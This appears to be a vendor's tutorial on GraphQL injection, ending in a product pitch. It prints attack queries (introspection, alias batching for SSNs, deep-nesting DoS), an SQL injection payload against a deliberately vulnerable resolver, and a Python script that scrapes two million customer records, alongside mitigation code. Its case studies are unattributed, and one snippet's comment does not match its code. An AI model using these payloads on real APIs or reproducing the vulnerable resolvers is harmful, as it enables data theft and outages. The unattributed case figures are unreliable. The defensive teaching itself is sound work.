#
GraphQL Injection
A security vulnerability where attackers exploit improper input validation in GraphQL APIs to extract unauthorized data, bypass authentication, or cause denial of service through query complexity attacks.
HIGH SEVERITY DATA EXPOSURE API ATTACK
#
What is GraphQL Injection?
Critical API Vulnerability
GraphQL Injection can expose entire databases through introspection, allow unauthorized data access through field-level attacks, and cause service outages through query complexity exploitation. Unlike REST APIs with fixed endpoints, GraphQL's flexible query structure creates unique attack vectors.
In Simple Terms:
Imagine a library with a very flexible request system. Instead of asking for specific books, you can ask: "Give me all books, and for each book, give me the author, and for each author, give me ALL their books, and for each of THOSE books..."
GraphQL Injection exploits this flexibility to:
- Request EVERYTHING in the database (through nested queries)
- Access data you shouldn't see (through exposed fields)
- Crash the server (through complex queries that consume massive resources)
It's like asking the librarian for "all books and all their relationships" until they collapse from exhaustion!
#
How GraphQL Injection Works
#
Understanding GraphQL Basics
GraphQL Query Example:
query {
user(id: 123) {
name
email
}
}
Response:
{
"data": {
"user": {
"name": "John Doe",
"email": "john@example.com"
}
}
}
#
Common Vulnerabilities
query {
__schema {
types {
name
fields {
name
type {
name
}
}
}
}
}
Reveals entire API structure including hidden fields!
query {
users {
id
username
password # Should be restricted!
ssn # Should be restricted!
}
}
query {
user {
posts {
author {
posts {
author {
posts {
# ... infinite nesting!
}
}
}
}
}
}
}
#
Types of GraphQL Injection Attacks
#
1. Mass Data Extraction via Batching
CRITICAL
// No rate limiting or batching restrictions
const resolvers = {
Query: {
user: (parent, { id }, context) => {
return db.users.findById(id);
}
}
};
query {
user1: user(id: 1) { id username email ssn }
user2: user(id: 2) { id username email ssn }
user3: user(id: 3) { id username email ssn }
# ... repeat for user4 through user10000
user10000: user(id: 10000) { id username email ssn }
}
Single request extracts 10,000 users!
#
2. Introspection for Reconnaissance
INFORMATION DISCLOSURE
# Discover all types
query {
__schema {
types {
name
description
fields {
name
description
type {
name
kind
}
}
}
}
}
Response reveals:
- Hidden admin fields
- Internal API structure
- Sensitive field names (password, ssn, creditCard)
- Relationships between entities
#
3. Query Depth/Complexity Attack (DoS)
DENIAL OF SERVICE
query {
user(id: 1) {
posts {
author {
posts {
author {
posts {
author {
posts {
# ... 50+ levels deep
}
}
}
}
}
}
}
}
}
Server attempts to resolve hundreds of thousands of nested queries → crash!
query {
u1: user(id: 1) { posts { comments { replies { user { posts } } } } }
u2: user(id: 1) { posts { comments { replies { user { posts } } } } }
u3: user(id: 1) { posts { comments { replies { user { posts } } } } }
# ... repeat 100 times with aliases
u100: user(id: 1) { posts { comments { replies { user { posts } } } } }
}
100 aliases × 5 levels deep = 100,000+ database queries!
#
4. Field Injection
AUTHORIZATION BYPASS
const resolvers = {
Query: {
getUser: (parent, { id }, context) => {
// VULNERABLE: Returns entire user object
return db.users.findById(id);
}
}
};
query {
getUser(id: 123) {
username
email
password # Should be restricted!
ssn # Should be restricted!
creditCard # Should be restricted!
role # Can reveal admin status
internalNotes # Internal data
}
}
Even if frontend only requests username/email, attacker can request ANY field!
#
5. SQL Injection via GraphQL Variables
SQL INJECTION
const resolvers = {
Query: {
searchUsers: (parent, { searchTerm }, context) => {
// VULNERABLE: Direct string interpolation
const query = `SELECT * FROM users WHERE username LIKE '%${searchTerm}%'`;
return db.raw(query);
}
}
};
query {
searchUsers(searchTerm: "admin' OR '1'='1") {
id
username
password
}
}
SQL becomes: SELECT * FROM users WHERE username LIKE '%admin' OR '1'='1%'
Returns ALL users!
#
Real-World Examples
#
Case Study 1: GitHub GraphQL API Information Disclosure (2018)
GitHub's GraphQL API exposed private repository information through insufficient field-level authorization.
query {
repository(owner: "private-company", name: "secret-project") {
name
description
isPrivate
defaultBranchRef {
target {
... on Commit {
history {
nodes {
message
additions
deletions
}
}
}
}
}
}
}
Even though repository was private, GraphQL API returned commit messages and stats if attacker knew the repository name!
- Private repository metadata exposed
- Commit messages revealed sensitive information
- Fixed within 24 hours after disclosure
- Highlighted field-level authorization importance
#
Case Study 2: E-commerce Platform Data Breach (2020)
2 MILLION RECORDS EXPOSED
Mass Data Extraction
GraphQL API with no rate limiting allowed attacker to extract 2 million customer records in 15 minutes.
Vulnerable API:
const resolvers = {
Query: {
customer: async (parent, { id }) => {
// No authentication check!
// No rate limiting!
return await db.customers.findById(id);
}
},
Customer: {
orders: async (customer) => {
return await db.orders.findByCustomerId(customer.id);
}
}
};
Attack Script:
import requests
import json
# Extract all customers
for customer_id in range(1, 2000000):
query = """
query {
customer(id: %d) {
id
name
email
phone
address
creditCard
orders {
id
total
items {
name
price
}
}
}
}
""" % customer_id
response = requests.post(
'https://api.shop.com/graphql',
json={'query': query}
)
data = response.json()
# Save to file
with open(f'stolen_data/customer_{customer_id}.json', 'w') as f:
json.dump(data, f)
if customer_id % 1000 == 0:
print(f"[+] Extracted {customer_id} customers...")
# Completed in 15 minutes with parallel requests
Consequences:
- 2 million customer records stolen
- Credit card information exposed
- $45 million in fraud
- $120 million in fines and settlements
- Company filed for bankruptcy
#
Case Study 3: Social Media Platform DoS (2021)
Attacker discovered circular relationships in GraphQL schema.
query ExpensiveQuery {
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
# 20 levels deep
}
}
}
}
}
}
}
}
}
}
Impact:
- Each user had average 200 friends
- 200^20 = astronomical number of queries
- Server consumed all memory and CPU
- Platform down for 6 hours
- $15 million in lost revenue
#
Prevention Strategies
#
1. Disable Introspection in Production
ESSENTIAL
const { ApolloServer } = require('apollo-server');
const server = new ApolloServer({
typeDefs,
resolvers,
// SECURE: Disable introspection in production
introspection: process.env.NODE_ENV !== 'production',
playground: process.env.NODE_ENV !== 'production'
});
import { createServer } from '@graphql-yoga/node';
const server = createServer({
schema,
context: () => ({}),
// Disable introspection
maskedErrors: true,
graphiql: process.env.NODE_ENV !== 'production'
});
#
2. Implement Query Complexity Analysis
CRITICAL
const { ApolloServer } = require('apollo-server');
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
// Limit query complexity
createComplexityLimitRule(1000, {
onCost: (cost) => {
console.log('Query cost:', cost);
},
createError: (cost, documentNode) => {
return new Error(
`Query is too complex: ${cost}. Maximum allowed complexity: 1000`
);
}
})
]
});
#
3. Implement Query Depth Limiting
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
// Maximum depth of 5
depthLimit(5)
]
});
#
4. Field-Level Authorization
ESSENTIAL
const resolvers = {
Query: {
user: async (parent, { id }, context) => {
// Check authentication
if (!context.user) {
throw new Error('Authentication required');
}
return await db.users.findById(id);
}
},
User: {
// Field-level authorization
email: (user, args, context) => {
// Only return email if requesting own profile or admin
if (context.user.id === user.id || context.user.role === 'admin') {
return user.email;
}
return null;
},
ssn: (user, args, context) => {
// NEVER expose SSN via API
throw new Error('Field not accessible');
},
password: () => {
// NEVER expose password
throw new Error('Field not accessible');
}
}
};
#
5. Rate Limiting and Query Cost
const { RateLimiterMemory } = require('rate-limiter-flexible');
const rateLimiter = new RateLimiterMemory({
points: 100, // 100 points
duration: 60, // per 60 seconds
});
const server = new ApolloServer({
typeDefs,
resolvers,
context: async ({ req }) => {
const ip = req.ip;
try {
await rateLimiter.consume(ip, 1);
} catch (error) {
throw new Error('Rate limit exceeded');
}
return { user: req.user };
}
});
#
6. Input Validation and Sanitization
const resolvers = {
Query: {
searchUsers: async (parent, { searchTerm }, context) => {
// SECURE: Validate and sanitize input
if (typeof searchTerm !== 'string') {
throw new Error('Invalid search term');
}
// Remove special characters
const sanitized = searchTerm.replace(/[^a-zA-Z0-9\s]/g, '');
if (sanitized.length < 2 || sanitized.length > 50) {
throw new Error('Search term must be 2-50 characters');
}
// Use parameterized query
return await db.users.search(sanitized);
}
}
};
#
7. Comprehensive Security Implementation
const { ApolloServer } = require('apollo-server-express');
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const { RateLimiterMemory } = require('rate-limiter-flexible');
const express = require('express');
// Rate limiter
const rateLimiter = new RateLimiterMemory({
points: 100,
duration: 60
});
// Type definitions
const typeDefs = `
type User {
id: ID!
username: String!
email: String
role: String
}
type Query {
user(id: ID!): User
users(limit: Int = 10): [User]
}
`;
// Resolvers with security
const resolvers = {
Query: {
user: async (parent, { id }, context) => {
// Authentication required
if (!context.user) {
throw new Error('Authentication required');
}
// Input validation
if (!id || typeof id !== 'string') {
throw new Error('Invalid ID');
}
return await db.users.findById(id);
},
users: async (parent, { limit }, context) => {
// Authentication required
if (!context.user) {
throw new Error('Authentication required');
}
// Authorization - only admins can list users
if (context.user.role !== 'admin') {
throw new Error('Authorization required');
}
// Limit validation
if (limit > 100) {
throw new Error('Limit cannot exceed 100');
}
return await db.users.findAll({ limit });
}
},
User: {
// Field-level authorization
email: (user, args, context) => {
if (context.user.id === user.id || context.user.role === 'admin') {
return user.email;
}
return null;
},
role: (user, args, context) => {
// Only admins can see roles
if (context.user.role === 'admin') {
return user.role;
}
return null;
}
}
};
// Apollo Server configuration
const server = new ApolloServer({
typeDefs,
resolvers,
// Disable introspection in production
introspection: process.env.NODE_ENV !== 'production',
playground: process.env.NODE_ENV !== 'production',
// Validation rules
validationRules: [
// Limit query depth
depthLimit(5),
// Limit query complexity
createComplexityLimitRule(1000)
],
// Context with authentication
context: async ({ req }) => {
// Rate limiting
try {
await rateLimiter.consume(req.ip, 1);
} catch (error) {
throw new Error('Rate limit exceeded');
}
// Get user from token
const token = req.headers.authorization?.replace('Bearer ', '');
const user = await verifyToken(token);
return { user };
},
// Error handling
formatError: (error) => {
// Don't expose internal errors in production
if (process.env.NODE_ENV === 'production') {
console.error(error);
return new Error('Internal server error');
}
return error;
}
});
// Express app
const app = express();
server.applyMiddleware({ app });
app.listen(4000, () => {
console.log('🚀 Server ready at http://localhost:4000/graphql');
});
const { gql } = require('apollo-server');
const typeDefs = gql`
# User type
type User {
id: ID!
username: String!
email: String # Restricted field
role: String # Restricted field
createdAt: String
}
# Query type
type Query {
# Get single user (authentication required)
user(id: ID!): User
# List users (admin only)
users(limit: Int = 10): [User]
# Current user
me: User
}
# Mutation type
type Mutation {
# Login
login(username: String!, password: String!): AuthPayload
# Update profile (own profile only)
updateProfile(username: String, email: String): User
}
# Auth payload
type AuthPayload {
token: String!
user: User!
}
`;
module.exports = typeDefs;
#
Security Checklist
#
Configuration
- Disable introspection in production
- Disable GraphQL Playground in production
- Implement query depth limiting (max 5-10 levels)
- Implement query complexity analysis
- Set maximum query cost threshold
- Enable query timeout (5-10 seconds)
- Implement rate limiting per IP/user
- Log all queries for monitoring
#
Authorization
- Require authentication for all sensitive queries
- Implement field-level authorization
- Never expose password/ssn/sensitive fields
- Validate user permissions for each resolver
- Implement role-based access control
- Check authorization at resolver level, not just query level
- Limit batch queries (disable or restrict aliases)
#
Input Validation
- Validate all input types and formats
- Sanitize input before database queries
- Use parameterized queries (prevent SQL injection)
- Implement input length limits
- Validate enum values
- Check for malicious patterns
#
Monitoring
- Log all GraphQL queries
- Monitor query complexity patterns
- Alert on high-complexity queries
- Track rate limit violations
- Monitor for introspection attempts in production
- Set up anomaly detection
- Regular security audits
#
Key Takeaways
Critical Security Points
Disable introspection in production: Don't reveal your entire API structure
Implement query complexity limits: Prevent expensive queries from crashing your server
Limit query depth: Prevent circular reference attacks
Field-level authorization: Check permissions for EVERY field, not just queries
Rate limiting is essential: Prevent mass data extraction
Never expose sensitive fields: password, ssn, creditCard should never be queryable
Validate ALL inputs: Prevent injection attacks through GraphQL variables
Monitor query patterns: Detect and block suspicious activity
#
How Layerd AI Protects Against GraphQL Injection
Layerd AI provides comprehensive GraphQL security:
- Automatic Introspection Disabling: Ensures introspection is disabled in production
- Query Complexity Analysis: Monitors and blocks expensive queries in real-time
- Field-Level Authorization Validation: Verifies authorization checks on sensitive fields
- Input Validation: Automatically sanitizes GraphQL variables
- Rate Limiting: Prevents mass data extraction attempts
- Anomaly Detection: Identifies suspicious query patterns
- Schema Analysis: Audits GraphQL schema for security issues
Secure your GraphQL APIs with Layerd AI's intelligent protection.
#
Additional Resources
- GraphQL Security Best Practices
- OWASP GraphQL Cheat Sheet
- GraphQL Depth Limit
- GraphQL Validation Complexity
- Escape GraphQL - GraphQL Security Scanner
Last Updated: November 2025